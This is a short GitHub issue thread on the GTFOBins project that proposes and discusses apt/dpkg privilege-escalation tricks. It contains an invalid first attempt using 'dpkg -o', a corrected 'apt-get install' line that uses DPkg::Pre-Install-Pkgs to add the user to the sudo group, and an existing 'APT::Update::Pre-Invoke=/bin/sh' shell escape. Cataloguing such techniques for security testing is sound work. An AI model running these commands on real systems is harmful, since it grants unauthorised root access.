GTFOBins/GTFOBins.github.io

[dpkg] priv esc

geekscrapy opened this issue · 3 comments

dpkg -i -o DPkg::Pre-Install-Pkgs::="usermod -a -G sudo $(whoami)" any_package.deb

Are you sure?

$ dpkg -o
dpkg: error: unknown option -o

Hey, my bad got messed up during testing! I was reffering to the DPkg::Pre-Install-Pkgs configuration option.

sudo apt-get install cowsay -o DPkg::Pre-Install-Pkgs::="usermod -a -G sudo $(whoami)"

Oh, no worries! But we already have a similar one:

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh